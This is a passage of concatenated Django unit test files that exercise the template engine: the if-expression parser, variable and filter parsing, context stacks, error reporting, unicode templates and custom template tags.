from django.template.smartif import IfParser


class SmartIfTests(unittest.TestCase):

    def assertCalcEqual(self, expected, tokens):
        self.assertEqual(expected, IfParser(tokens).parse().eval({}))

    # We only test things here that are difficult to test elsewhere
    # Many other tests are found in the main tests for builtin template tags
    # Test parsing via the printed parse tree
    def test_not(self):
        var = IfParser(["not", False]).parse()
        self.assertEqual("(not (literal False))", repr(var))
        self.assertTrue(var.eval({}))

        self.assertFalse(IfParser(["not", True]).parse().eval({}))

    def test_or(self):
        var = IfParser([True, "or", False]).parse()
        self.assertEqual("(or (literal True) (literal False))", repr(var))
        self.assertTrue(var.eval({}))

    def test_in(self):
        list_ = [1, 2, 3]
        self.assertCalcEqual(True, [1, 'in', list_])
        self.assertCalcEqual(False, [1, 'in', None])
        self.assertCalcEqual(False, [None, 'in', list_])

    def test_not_in(self):
        list_ = [1, 2, 3]
        self.assertCalcEqual(False, [1, 'not', 'in', list_])
        self.assertCalcEqual(True, [4, 'not', 'in', list_])
        self.assertCalcEqual(False, [1, 'not', 'in', None])
        self.assertCalcEqual(True, [None, 'not', 'in', list_])

    def test_precedence(self):
        # (False and False) or True == True   <- we want this one, like Python
        # False and (False or True) == False
        self.assertCalcEqual(True, [False, 'and', False, 'or', True])

        # True or (False and False) == True   <- we want this one, like Python
        # (True or False) and False == False
        self.assertCalcEqual(True, [True, 'or', False, 'and', False])

        # (1 or 1) == 2  -> False
        # 1 or (1 == 2)  -> True   <- we want this one
        self.assertCalcEqual(True, [1, 'or', 1, '==', 2])

        self.assertCalcEqual(True, [True, '==', True, 'or', True, '==', False])

        self.assertEqual("(or (and (== (literal 1) (literal 2)) (literal 3)) (literal 4))",
                         repr(IfParser([1, '==', 2, 'and', 3, 'or', 4]).parse()))






from unittest import TestCase

from django.template import Context, Engine
from django.template.base import TextNode, VariableNode
from django.utils import six


class NodelistTest(TestCase):

    @classmethod
    def setUpClass(cls):
        cls.engine = Engine()
        super(NodelistTest, cls).setUpClass()

    def test_for(self):
        template = self.engine.from_string('{% for i in 1 %}{{ a }}{% endfor %}')
        vars = template.nodelist.get_nodes_by_type(VariableNode)
        self.assertEqual(len(vars), 1)

    def test_if(self):
        template = self.engine.from_string('{% if x %}{{ a }}{% endif %}')
        vars = template.nodelist.get_nodes_by_type(VariableNode)
        self.assertEqual(len(vars), 1)

    def test_ifequal(self):
        template = self.engine.from_string('{% ifequal x y %}{{ a }}{% endifequal %}')
        vars = template.nodelist.get_nodes_by_type(VariableNode)
        self.assertEqual(len(vars), 1)

    def test_ifchanged(self):
        template = self.engine.from_string('{% ifchanged x %}{{ a }}{% endifchanged %}')
        vars = template.nodelist.get_nodes_by_type(VariableNode)
        self.assertEqual(len(vars), 1)


class TextNodeTest(TestCase):

    def test_textnode_repr(self):
        engine = Engine()
        for temptext, reprtext in [
            ("Hello, world!", "<TextNode: u'Hello, world!'>"),
            ("One\ntwo.", "<TextNode: u'One\\ntwo.'>"),
        ]:
            template = engine.from_string(temptext)
            texts = template.nodelist.get_nodes_by_type(TextNode)
            if six.PY3:
                reprtext = reprtext.replace("u'", "'")
            self.assertEqual(repr(texts[0]), reprtext)


class ErrorIndexTest(TestCase):
    """
    Checks whether index of error is calculated correctly in
    template debugger in for loops. Refs ticket #5831
    """
    def test_correct_exception_index(self):
        tests = [
            ('{% load bad_tag %}{% for i in range %}{% badsimpletag %}{% endfor %}', (38, 56)),
            (
                '{% load bad_tag %}{% for i in range %}{% for j in range %}'
                '{% badsimpletag %}{% endfor %}{% endfor %}',
                (58, 76)
            ),
            (
                '{% load bad_tag %}{% for i in range %}{% badsimpletag %}'
                '{% for j in range %}Hello{% endfor %}{% endfor %}',
                (38, 56)
            ),
            (
                '{% load bad_tag %}{% for i in range %}{% for j in five %}'
                '{% badsimpletag %}{% endfor %}{% endfor %}',
                (38, 57)
            ),
            ('{% load bad_tag %}{% for j in five %}{% badsimpletag %}{% endfor %}', (18, 37)),
        ]
        context = Context({
            'range': range(5),
            'five': 5,
        })
        engine = Engine(debug=True, libraries={'bad_tag': 'template_tests.templatetags.bad_tag'})
        for source, expected_error_source_index in tests:
            template = engine.from_string(source)
            try:
                template.render(context)
            except (RuntimeError, TypeError) as e:
                debug = e.template_debug
                self.assertEqual((debug['start'], debug['end']), expected_error_source_index)












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import sys

from django.contrib.auth.models import Group
from django.template import Context, Engine, TemplateSyntaxError
from django.template.base import UNKNOWN_SOURCE
from django.test import SimpleTestCase, override_settings
from django.urls import NoReverseMatch
from django.utils import translation


class TemplateTests(SimpleTestCase):

    def test_string_origin(self):
        template = Engine().from_string('string template')
        self.assertEqual(template.origin.name, UNKNOWN_SOURCE)
        self.assertIsNone(template.origin.loader_name)
        self.assertEqual(template.source, 'string template')

    @override_settings(SETTINGS_MODULE=None)
    def test_url_reverse_no_settings_module(self):
        """
        #9005 -- url tag shouldn't require settings.SETTINGS_MODULE to
        be set.
        """
        t = Engine(debug=True).from_string('{% url will_not_match %}')
        c = Context()
        with self.assertRaises(NoReverseMatch):
            t.render(c)

    def test_url_reverse_view_name(self):
        """
        #19827 -- url tag should keep original strack trace when reraising
        exception.
        """
        t = Engine().from_string('{% url will_not_match %}')
        c = Context()
        try:
            t.render(c)
        except NoReverseMatch:
            tb = sys.exc_info()[2]
            depth = 0
            while tb.tb_next is not None:
                tb = tb.tb_next
                depth += 1
            self.assertGreater(depth, 5, "The traceback context was lost when reraising the traceback.")

    def test_no_wrapped_exception(self):
        """
        # 16770 -- The template system doesn't wrap exceptions, but annotates
        them.
        """
        engine = Engine(debug=True)
        c = Context({"coconuts": lambda: 42 / 0})
        t = engine.from_string("{{ coconuts }}")

        with self.assertRaises(ZeroDivisionError) as e:
            t.render(c)

        debug = e.exception.template_debug
        self.assertEqual(debug['start'], 0)
        self.assertEqual(debug['end'], 14)

    def test_invalid_block_suggestion(self):
        """
        Error messages should include the unexpected block name and be in all
        English.
        """
        engine = Engine()
        msg = (
            "Invalid block tag on line 1: 'endblock', expected 'elif', 'else' "
            "or 'endif'. Did you forget to register or load this tag?"
        )
        with self.settings(USE_I18N=True), translation.override('de'):
            with self.assertRaisesMessage(TemplateSyntaxError, msg):
                engine.from_string("{% if 1 %}lala{% endblock %}{% endif %}")

    def test_unknown_block_tag(self):
        engine = Engine()
        msg = (
            "Invalid block tag on line 1: 'foobar'. Did you forget to "
            "register or load this tag?"
        )
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            engine.from_string("lala{% foobar %}")

    def test_compile_filter_expression_error(self):
        """
        19819 -- Make sure the correct token is highlighted for
        FilterExpression errors.
        """
        engine = Engine(debug=True)
        msg = "Could not parse the remainder: '@bar' from 'foo@bar'"

        with self.assertRaisesMessage(TemplateSyntaxError, msg) as e:
            engine.from_string("{% if 1 %}{{ foo@bar }}{% endif %}")

        debug = e.exception.template_debug
        self.assertEqual((debug['start'], debug['end']), (10, 23))
        self.assertEqual((debug['during']), '{{ foo@bar }}')

    def test_compile_tag_error(self):
        """
        Errors raised while compiling nodes should include the token
        information.
        """
        engine = Engine(
            debug=True,
            libraries={'bad_tag': 'template_tests.templatetags.bad_tag'},
        )
        with self.assertRaises(RuntimeError) as e:
            engine.from_string("{% load bad_tag %}{% badtag %}")
        self.assertEqual(e.exception.template_debug['during'], '{% badtag %}')

    def test_super_errors(self):
        """
        #18169 -- NoReverseMatch should not be silence in block.super.
        """
        engine = Engine(app_dirs=True)
        t = engine.get_template('included_content.html')
        with self.assertRaises(NoReverseMatch):
            t.render(Context())

    def test_debug_tag_non_ascii(self):
        """
        #23060 -- Test non-ASCII model representation in debug output.
        """
        group = Group(name="清風")
        c1 = Context({"objs": [group]})
        t1 = Engine().from_string('{% debug %}')
        self.assertIn("清風", t1.render(c1))

    def test_extends_generic_template(self):
        """
        #24338 -- Allow extending django.template.backends.django.Template
        objects.
        """
        engine = Engine()
        parent = engine.from_string('{% block content %}parent{% endblock %}')
        child = engine.from_string(
            '{% extends parent %}{% block content %}child{% endblock %}')
        self.assertEqual(child.render(Context({'parent': parent})), 'child')

    def test_node_origin(self):
        """
        #25848 -- Set origin on Node so debugging tools can determine which
        template the node came from even if extending or including templates.
        """
        template = Engine().from_string('content')
        for node in template.nodelist:
            self.assertEqual(node.origin, template.origin)






"""
Testing some internals of the template processing. These are *not* examples to be copied in user code.
"""
from __future__ import unicode_literals

from unittest import TestCase

from django.template import Library, TemplateSyntaxError
from django.template.base import (
    TOKEN_BLOCK, FilterExpression, Parser, Token, Variable,
)
from django.template.defaultfilters import register as filter_library
from django.utils import six


class ParserTests(TestCase):

    def test_token_smart_split(self):
        """
        #7027 -- _() syntax should work with spaces
        """
        token = Token(TOKEN_BLOCK, 'sometag _("Page not found") value|yesno:_("yes,no")')
        split = token.split_contents()
        self.assertEqual(split, ["sometag", '_("Page not found")', 'value|yesno:_("yes,no")'])

    def test_filter_parsing(self):
        c = {"article": {"section": "News"}}
        p = Parser("", builtins=[filter_library])

        def fe_test(s, val):
            self.assertEqual(FilterExpression(s, p).resolve(c), val)

        fe_test("article.section", "News")
        fe_test("article.section|upper", "NEWS")
        fe_test('"News"', "News")
        fe_test("'News'", "News")
        fe_test(r'"Some \"Good\" News"', 'Some "Good" News')
        fe_test(r'"Some \"Good\" News"', 'Some "Good" News')
        fe_test(r"'Some \'Bad\' News'", "Some 'Bad' News")

        fe = FilterExpression(r'"Some \"Good\" News"', p)
        self.assertEqual(fe.filters, [])
        self.assertEqual(fe.var, 'Some "Good" News')

        # Filtered variables should reject access of attributes beginning with
        # underscores.
        with self.assertRaises(TemplateSyntaxError):
            FilterExpression("article._hidden|upper", p)

    def test_variable_parsing(self):
        c = {"article": {"section": "News"}}
        self.assertEqual(Variable("article.section").resolve(c), "News")
        self.assertEqual(Variable('"News"').resolve(c), "News")
        self.assertEqual(Variable("'News'").resolve(c), "News")

        # Translated strings are handled correctly.
        self.assertEqual(Variable("_(article.section)").resolve(c), "News")
        self.assertEqual(Variable('_("Good News")').resolve(c), "Good News")
        self.assertEqual(Variable("_('Better News')").resolve(c), "Better News")

        # Escaped quotes work correctly as well.
        self.assertEqual(
            Variable(r'"Some \"Good\" News"').resolve(c), 'Some "Good" News'
        )
        self.assertEqual(
            Variable(r"'Some \'Better\' News'").resolve(c), "Some 'Better' News"
        )

        # Variables should reject access of attributes beginning with
        # underscores.
        with self.assertRaises(TemplateSyntaxError):
            Variable("article._hidden")

        # Variables should raise on non string type
        with six.assertRaisesRegex(self, TypeError, "Variable must be a string or number, got <(class|type) 'dict'>"):
            Variable({})

    def test_filter_args_count(self):
        p = Parser("")
        l = Library()

        @l.filter
        def no_arguments(value):
            pass

        @l.filter
        def one_argument(value, arg):
            pass

        @l.filter
        def one_opt_argument(value, arg=False):
            pass

        @l.filter
        def two_arguments(value, arg, arg2):
            pass

        @l.filter
        def two_one_opt_arg(value, arg, arg2=False):
            pass
        p.add_library(l)
        for expr in (
                '1|no_arguments:"1"',
                '1|two_arguments',
                '1|two_arguments:"1"',
                '1|two_one_opt_arg',
        ):
            with self.assertRaises(TemplateSyntaxError):
                FilterExpression(expr, p)
        for expr in (
                # Correct number of arguments
                '1|no_arguments',
                '1|one_argument:"1"',
                # One optional
                '1|one_opt_argument',
                '1|one_opt_argument:"1"',
                # Not supplying all
                '1|two_one_opt_arg:"1"',
        ):
            FilterExpression(expr, p)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from unittest import TestCase

from django.template import Context, Engine
from django.template.base import TemplateEncodingError
from django.utils import six
from django.utils.safestring import SafeData


class UnicodeTests(TestCase):
    def test_template(self):
        # Templates can be created from unicode strings.
        engine = Engine()
        t1 = engine.from_string('ŠĐĆŽćžšđ {{ var }}')
        # Templates can also be created from bytestrings. These are assumed to
        # be encoded using UTF-8.
        s = b'\xc5\xa0\xc4\x90\xc4\x86\xc5\xbd\xc4\x87\xc5\xbe\xc5\xa1\xc4\x91 {{ var }}'
        t2 = engine.from_string(s)
        with self.assertRaises(TemplateEncodingError):
            engine.from_string(b'\x80\xc5\xc0')

        # Contexts can be constructed from unicode or UTF-8 bytestrings.
        Context({b"var": b"foo"})
        Context({"var": b"foo"})
        c3 = Context({b"var": "Đđ"})
        Context({"var": b"\xc4\x90\xc4\x91"})

        # Since both templates and all four contexts represent the same thing,
        # they all render the same (and are returned as unicode objects and
        # "safe" objects as well, for auto-escaping purposes).
        self.assertEqual(t1.render(c3), t2.render(c3))
        self.assertIsInstance(t1.render(c3), six.text_type)
        self.assertIsInstance(t1.render(c3), SafeData)






# -*- coding: utf-8 -*-
import warnings

from django.http import HttpRequest
from django.template import (
    Context, Engine, RequestContext, Template, Variable, VariableDoesNotExist,
)
from django.template.context import RenderContext
from django.test import RequestFactory, SimpleTestCase, ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning


class ContextTests(SimpleTestCase):

    def test_context(self):
        c = Context({"a": 1, "b": "xyzzy"})
        self.assertEqual(c["a"], 1)
        self.assertEqual(c.push(), {})
        c["a"] = 2
        self.assertEqual(c["a"], 2)
        self.assertEqual(c.get("a"), 2)
        self.assertEqual(c.pop(), {"a": 2})
        self.assertEqual(c["a"], 1)
        self.assertEqual(c.get("foo", 42), 42)

    def test_push_context_manager(self):
        c = Context({"a": 1})
        with c.push():
            c['a'] = 2
            self.assertEqual(c['a'], 2)
        self.assertEqual(c['a'], 1)

        with c.push(a=3):
            self.assertEqual(c['a'], 3)
        self.assertEqual(c['a'], 1)

    def test_update_context_manager(self):
        c = Context({"a": 1})
        with c.update({}):
            c['a'] = 2
            self.assertEqual(c['a'], 2)
        self.assertEqual(c['a'], 1)

        with c.update({'a': 3}):
            self.assertEqual(c['a'], 3)
        self.assertEqual(c['a'], 1)

    def test_push_context_manager_with_context_object(self):
        c = Context({'a': 1})
        with c.push(Context({'a': 3})):
            self.assertEqual(c['a'], 3)
        self.assertEqual(c['a'], 1)

    def test_update_context_manager_with_context_object(self):
        c = Context({'a': 1})
        with c.update(Context({'a': 3})):
            self.assertEqual(c['a'], 3)
        self.assertEqual(c['a'], 1)

    def test_push_proper_layering(self):
        c = Context({'a': 1})
        c.push(Context({'b': 2}))
        c.push(Context({'c': 3, 'd': {'z': '26'}}))
        self.assertEqual(
            c.dicts,
            [
                {'False': False, 'None': None, 'True': True},
                {'a': 1},
                {'b': 2},
                {'c': 3, 'd': {'z': '26'}},
            ]
        )

    def test_update_proper_layering(self):
        c = Context({'a': 1})
        c.update(Context({'b': 2}))
        c.update(Context({'c': 3, 'd': {'z': '26'}}))
        self.assertEqual(
            c.dicts,
            [
                {'False': False, 'None': None, 'True': True},
                {'a': 1},
                {'b': 2},
                {'c': 3, 'd': {'z': '26'}},
            ]
        )

    def test_setdefault(self):
        c = Context()

        x = c.setdefault('x', 42)
        self.assertEqual(x, 42)
        self.assertEqual(c['x'], 42)

        x = c.setdefault('x', 100)
        self.assertEqual(x, 42)
        self.assertEqual(c['x'], 42)

    def test_resolve_on_context_method(self):
        """
        #17778 -- Variable shouldn't resolve RequestContext methods
        """
        empty_context = Context()

        with self.assertRaises(VariableDoesNotExist):
            Variable('no_such_variable').resolve(empty_context)

        with self.assertRaises(VariableDoesNotExist):
            Variable('new').resolve(empty_context)

        self.assertEqual(
            Variable('new').resolve(Context({'new': 'foo'})),
            'foo',
        )

    def test_render_context(self):
        test_context = RenderContext({'fruit': 'papaya'})

        # Test that push() limits access to the topmost dict
        test_context.push()

        test_context['vegetable'] = 'artichoke'
        self.assertEqual(list(test_context), ['vegetable'])

        self.assertNotIn('fruit', test_context)
        with self.assertRaises(KeyError):
            test_context['fruit']
        self.assertIsNone(test_context.get('fruit'))

    def test_flatten_context(self):
        a = Context()
        a.update({'a': 2})
        a.update({'b': 4})
        a.update({'c': 8})

        self.assertEqual(a.flatten(), {
            'False': False, 'None': None, 'True': True,
            'a': 2, 'b': 4, 'c': 8
        })

    def test_flatten_context_with_context(self):
        """
        Context.push() with a Context argument should work.
        """
        a = Context({'a': 2})
        a.push(Context({'z': '8'}))
        self.assertEqual(a.flatten(), {
            'False': False,
            'None': None,
            'True': True,
            'a': 2,
            'z': '8',
        })

    def test_context_comparable(self):
        """
        #21765 -- equality comparison should work
        """

        test_data = {'x': 'y', 'v': 'z', 'd': {'o': object, 'a': 'b'}}

        self.assertEqual(Context(test_data), Context(test_data))

        a = Context()
        b = Context()
        self.assertEqual(a, b)

        # update only a
        a.update({'a': 1})
        self.assertNotEqual(a, b)

        # update both to check regression
        a.update({'c': 3})
        b.update({'c': 3})
        self.assertNotEqual(a, b)

        # make contexts equals again
        b.update({'a': 1})
        self.assertEqual(a, b)

    def test_copy_request_context_twice(self):
        """
        #24273 -- Copy twice shouldn't raise an exception
        """
        RequestContext(HttpRequest()).new().new()

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_has_key(self):
        a = Context({'a': 1})
        b = RequestContext(HttpRequest(), {'a': 1})
        msg = "Context.has_key() is deprecated in favor of the 'in' operator."
        msg2 = "RequestContext.has_key() is deprecated in favor of the 'in' operator."

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')
            self.assertIs(a.has_key('a'), True)
            self.assertIs(a.has_key('b'), False)
            self.assertIs(b.has_key('a'), True)
            self.assertIs(b.has_key('b'), False)

        self.assertEqual(len(warns), 4)
        self.assertEqual(str(warns[0].message), msg)
        self.assertEqual(str(warns[1].message), msg)
        self.assertEqual(str(warns[2].message), msg2)
        self.assertEqual(str(warns[3].message), msg2)

    def test_set_upward(self):
        c = Context({'a': 1})
        c.set_upward('a', 2)
        self.assertEqual(c.get('a'), 2)

    def test_set_upward_empty_context(self):
        empty_context = Context()
        empty_context.set_upward('a', 1)
        self.assertEqual(empty_context.get('a'), 1)

    def test_set_upward_with_push(self):
        """
        The highest context which has the given key is used.
        """
        c = Context({'a': 1})
        c.push({'a': 2})
        c.set_upward('a', 3)
        self.assertEqual(c.get('a'), 3)
        c.pop()
        self.assertEqual(c.get('a'), 1)

    def test_set_upward_with_push_no_match(self):
        """
        The highest context is used if the given key isn't found.
        """
        c = Context({'b': 1})
        c.push({'b': 2})
        c.set_upward('a', 2)
        self.assertEqual(len(c.dicts), 3)
        self.assertEqual(c.dicts[-1]['a'], 2)


class RequestContextTests(SimpleTestCase):

    def test_include_only(self):
        """
        #15721 -- ``{% include %}`` and ``RequestContext`` should work
        together.
        """
        engine = Engine(loaders=[
            ('django.template.loaders.locmem.Loader', {
                'child': '{{ var|default:"none" }}',
            }),
        ])
        request = RequestFactory().get('/')
        ctx = RequestContext(request, {'var': 'parent'})
        self.assertEqual(engine.from_string('{% include "child" %}').render(ctx), 'parent')
        self.assertEqual(engine.from_string('{% include "child" only %}').render(ctx), 'none')

    def test_stack_size(self):
        """
        #7116 -- Optimize RequetsContext construction
        """
        request = RequestFactory().get('/')
        ctx = RequestContext(request, {})
        # The stack should now contain 3 items:
        # [builtins, supplied context, context processor, empty dict]
        self.assertEqual(len(ctx.dicts), 4)

    def test_context_comparable(self):
        # Create an engine without any context processors.
        test_data = {'x': 'y', 'v': 'z', 'd': {'o': object, 'a': 'b'}}

        # test comparing RequestContext to prevent problems if somebody
        # adds __eq__ in the future
        request = RequestFactory().get('/')

        self.assertEqual(
            RequestContext(request, dict_=test_data),
            RequestContext(request, dict_=test_data),
        )

    def test_modify_context_and_render(self):
        template = Template('{{ foo }}')
        request = RequestFactory().get('/')
        context = RequestContext(request, {})
        context['foo'] = 'foo'
        self.assertEqual(template.render(context), 'foo')






from __future__ import unicode_literals

import os
from unittest import skipUnless

from django.template import Context, Engine, TemplateSyntaxError
from django.template.base import Node
from django.template.library import InvalidTemplateLibrary
from django.test import SimpleTestCase
from django.test.utils import extend_sys_path
from django.utils import six

from .templatetags import custom, inclusion
from .utils import ROOT

LIBRARIES = {
    'custom': 'template_tests.templatetags.custom',
    'inclusion': 'template_tests.templatetags.inclusion',
}


class CustomFilterTests(SimpleTestCase):

    def test_filter(self):
        engine = Engine(libraries=LIBRARIES)
        t = engine.from_string("{% load custom %}{{ string|trim:5 }}")
        self.assertEqual(
            t.render(Context({"string": "abcdefghijklmnopqrstuvwxyz"})),
            "abcde"
        )


class TagTestCase(SimpleTestCase):

    @classmethod
    def setUpClass(cls):
        cls.engine = Engine(app_dirs=True, libraries=LIBRARIES)
        super(TagTestCase, cls).setUpClass()

    def verify_tag(self, tag, name):
        self.assertEqual(tag.__name__, name)
        self.assertEqual(tag.__doc__, 'Expected %s __doc__' % name)
        self.assertEqual(tag.__dict__['anything'], 'Expected %s __dict__' % name)


class SimpleTagTests(TagTestCase):

    def test_simple_tags(self):
        c = Context({'value': 42})

        templates = [
            ('{% load custom %}{% no_params %}', 'no_params - Expected result'),
            ('{% load custom %}{% one_param 37 %}', 'one_param - Expected result: 37'),
            ('{% load custom %}{% explicit_no_context 37 %}', 'explicit_no_context - Expected result: 37'),
            ('{% load custom %}{% no_params_with_context %}',
                'no_params_with_context - Expected result (context value: 42)'),
            ('{% load custom %}{% params_and_context 37 %}',
                'params_and_context - Expected result (context value: 42): 37'),
            ('{% load custom %}{% simple_two_params 37 42 %}', 'simple_two_params - Expected result: 37, 42'),
            ('{% load custom %}{% simple_one_default 37 %}', 'simple_one_default - Expected result: 37, hi'),
            ('{% load custom %}{% simple_one_default 37 two="hello" %}',
                'simple_one_default - Expected result: 37, hello'),
            ('{% load custom %}{% simple_one_default one=99 two="hello" %}',
                'simple_one_default - Expected result: 99, hello'),
            ('{% load custom %}{% simple_one_default 37 42 %}',
                'simple_one_default - Expected result: 37, 42'),
            ('{% load custom %}{% simple_unlimited_args 37 %}', 'simple_unlimited_args - Expected result: 37, hi'),
            ('{% load custom %}{% simple_unlimited_args 37 42 56 89 %}',
                'simple_unlimited_args - Expected result: 37, 42, 56, 89'),
            ('{% load custom %}{% simple_only_unlimited_args %}', 'simple_only_unlimited_args - Expected result: '),
            ('{% load custom %}{% simple_only_unlimited_args 37 42 56 89 %}',
                'simple_only_unlimited_args - Expected result: 37, 42, 56, 89'),
            ('{% load custom %}{% simple_unlimited_args_kwargs 37 40|add:2 56 eggs="scrambled" four=1|add:3 %}',
                'simple_unlimited_args_kwargs - Expected result: 37, 42, 56 / eggs=scrambled, four=4'),
        ]

        for entry in templates:
            t = self.engine.from_string(entry[0])
            self.assertEqual(t.render(c), entry[1])

        for entry in templates:
            t = self.engine.from_string("%s as var %%}Result: {{ var }}" % entry[0][0:-2])
            self.assertEqual(t.render(c), "Result: %s" % entry[1])

    def test_simple_tag_errors(self):
        errors = [
            ("'simple_one_default' received unexpected keyword argument 'three'",
                '{% load custom %}{% simple_one_default 99 two="hello" three="foo" %}'),
            ("'simple_two_params' received too many positional arguments",
                '{% load custom %}{% simple_two_params 37 42 56 %}'),
            ("'simple_one_default' received too many positional arguments",
                '{% load custom %}{% simple_one_default 37 42 56 %}'),
            ("'simple_unlimited_args_kwargs' received some positional argument(s) after some keyword argument(s)",
                '{% load custom %}{% simple_unlimited_args_kwargs 37 40|add:2 eggs="scrambled" 56 four=1|add:3 %}'),
            ("'simple_unlimited_args_kwargs' received multiple values for keyword argument 'eggs'",
                '{% load custom %}{% simple_unlimited_args_kwargs 37 eggs="scrambled" eggs="scrambled" %}'),
        ]

        for entry in errors:
            with self.assertRaisesMessage(TemplateSyntaxError, entry[0]):
                self.engine.from_string(entry[1])

        for entry in errors:
            with self.assertRaisesMessage(TemplateSyntaxError, entry[0]):
                self.engine.from_string("%s as var %%}" % entry[1][0:-2])

    def test_simple_tag_escaping_autoescape_off(self):
        c = Context({'name': "Jack & Jill"}, autoescape=False)
        t = self.engine.from_string("{% load custom %}{% escape_naive %}")
        self.assertEqual(t.render(c), "Hello Jack & Jill!")

    def test_simple_tag_naive_escaping(self):
        c = Context({'name': "Jack & Jill"})
        t = self.engine.from_string("{% load custom %}{% escape_naive %}")
        self.assertEqual(t.render(c), "Hello Jack &amp; Jill!")

    def test_simple_tag_explicit_escaping(self):
        # Check we don't double escape
        c = Context({'name': "Jack & Jill"})
        t = self.engine.from_string("{% load custom %}{% escape_explicit %}")
        self.assertEqual(t.render(c), "Hello Jack &amp; Jill!")

    def test_simple_tag_format_html_escaping(self):
        # Check we don't double escape
        c = Context({'name': "Jack & Jill"})
        t = self.engine.from_string("{% load custom %}{% escape_format_html %}")
        self.assertEqual(t.render(c), "Hello Jack &amp; Jill!")

    def test_simple_tag_registration(self):
        # Test that the decorators preserve the decorated function's docstring, name and attributes.
        self.verify_tag(custom.no_params, 'no_params')
        self.verify_tag(custom.one_param, 'one_param')
        self.verify_tag(custom.explicit_no_context, 'explicit_no_context')
        self.verify_tag(custom.no_params_with_context, 'no_params_with_context')
        self.verify_tag(custom.params_and_context, 'params_and_context')
        self.verify_tag(custom.simple_unlimited_args_kwargs, 'simple_unlimited_args_kwargs')
        self.verify_tag(custom.simple_tag_without_context_parameter, 'simple_tag_without_context_parameter')

    def test_simple_tag_missing_context(self):
        # The 'context' parameter must be present when takes_context is True
        msg = (
            "'simple_tag_without_context_parameter' is decorated with "
            "takes_context=True so it must have a first argument of 'context'"
        )
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.from_string('{% load custom %}{% simple_tag_without_context_parameter 123 %}')


class InclusionTagTests(TagTestCase):

    def test_inclusion_tags(self):
        c = Context({'value': 42})

        templates = [
            ('{% load inclusion %}{% inclusion_no_params %}', 'inclusion_no_params - Expected result\n'),
            ('{% load inclusion %}{% inclusion_one_param 37 %}', 'inclusion_one_param - Expected result: 37\n'),
            ('{% load inclusion %}{% inclusion_explicit_no_context 37 %}',
                'inclusion_explicit_no_context - Expected result: 37\n'),
            ('{% load inclusion %}{% inclusion_no_params_with_context %}',
                'inclusion_no_params_with_context - Expected result (context value: 42)\n'),
            ('{% load inclusion %}{% inclusion_params_and_context 37 %}',
                'inclusion_params_and_context - Expected result (context value: 42): 37\n'),
            ('{% load inclusion %}{% inclusion_two_params 37 42 %}',
                'inclusion_two_params - Expected result: 37, 42\n'),
            (
                '{% load inclusion %}{% inclusion_one_default 37 %}',
                'inclusion_one_default - Expected result: 37, hi\n'
            ),
            ('{% load inclusion %}{% inclusion_one_default 37 two="hello" %}',
                'inclusion_one_default - Expected result: 37, hello\n'),
            ('{% load inclusion %}{% inclusion_one_default one=99 two="hello" %}',
                'inclusion_one_default - Expected result: 99, hello\n'),
            ('{% load inclusion %}{% inclusion_one_default 37 42 %}',
                'inclusion_one_default - Expected result: 37, 42\n'),
            ('{% load inclusion %}{% inclusion_unlimited_args 37 %}',
                'inclusion_unlimited_args - Expected result: 37, hi\n'),
            ('{% load inclusion %}{% inclusion_unlimited_args 37 42 56 89 %}',
                'inclusion_unlimited_args - Expected result: 37, 42, 56, 89\n'),
            ('{% load inclusion %}{% inclusion_only_unlimited_args %}',
                'inclusion_only_unlimited_args - Expected result: \n'),
            ('{% load inclusion %}{% inclusion_only_unlimited_args 37 42 56 89 %}',
                'inclusion_only_unlimited_args - Expected result: 37, 42, 56, 89\n'),
            ('{% load inclusion %}{% inclusion_unlimited_args_kwargs 37 40|add:2 56 eggs="scrambled" four=1|add:3 %}',
                'inclusion_unlimited_args_kwargs - Expected result: 37, 42, 56 / eggs=scrambled, four=4\n'),
        ]

        for entry in templates:
            t = self.engine.from_string(entry[0])
            self.assertEqual(t.render(c), entry[1])

    def test_inclusion_tag_errors(self):
        errors = [
            ("'inclusion_one_default' received unexpected keyword argument 'three'",
                '{% load inclusion %}{% inclusion_one_default 99 two="hello" three="foo" %}'),
            ("'inclusion_two_params' received too many positional arguments",
                '{% load inclusion %}{% inclusion_two_params 37 42 56 %}'),
            ("'inclusion_one_default' received too many positional arguments",
                '{% load inclusion %}{% inclusion_one_default 37 42 56 %}'),
            ("'inclusion_one_default' did not receive value(s) for the argument(s): 'one'",
                '{% load inclusion %}{% inclusion_one_default %}'),
            ("'inclusion_unlimited_args' did not receive value(s) for the argument(s): 'one'",
                '{% load inclusion %}{% inclusion_unlimited_args %}'),
            (
                "'inclusion_unlimited_args_kwargs' received some positional argument(s) "
                "after some keyword argument(s)",
                '{% load inclusion %}{% inclusion_unlimited_args_kwargs 37 40|add:2 eggs="boiled" 56 four=1|add:3 %}',
            ),
            ("'inclusion_unlimited_args_kwargs' received multiple values for keyword argument 'eggs'",
                '{% load inclusion %}{% inclusion_unlimited_args_kwargs 37 eggs="scrambled" eggs="scrambled" %}'),
        ]

        for entry in errors:
            with self.assertRaisesMessage(TemplateSyntaxError, entry[0]):
                self.engine.from_string(entry[1])

    def test_include_tag_missing_context(self):
        # The 'context' parameter must be present when takes_context is True
        msg = (
            "'inclusion_tag_without_context_parameter' is decorated with "
            "takes_context=True so it must have a first argument of 'context'"
        )
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.from_string('{% load inclusion %}{% inclusion_tag_without_context_parameter 123 %}')

    def test_inclusion_tags_from_template(self):
        c = Context({'value': 42})

        templates = [
            ('{% load inclusion %}{% inclusion_no_params_from_template %}',
                'inclusion_no_params_from_template - Expected result\n'),
            ('{% load inclusion %}{% inclusion_one_param_from_template 37 %}',
                'inclusion_one_param_from_template - Expected result: 37\n'),
            ('{% load inclusion %}{% inclusion_explicit_no_context_from_template 37 %}',
                'inclusion_explicit_no_context_from_template - Expected result: 37\n'),
            ('{% load inclusion %}{% inclusion_no_params_with_context_from_template %}',
                'inclusion_no_params_with_context_from_template - Expected result (context value: 42)\n'),
            ('{% load inclusion %}{% inclusion_params_and_context_from_template 37 %}',
                'inclusion_params_and_context_from_template - Expected result (context value: 42): 37\n'),
            ('{% load inclusion %}{% inclusion_two_params_from_template 37 42 %}',
                'inclusion_two_params_from_template - Expected result: 37, 42\n'),
            ('{% load inclusion %}{% inclusion_one_default_from_template 37 %}',
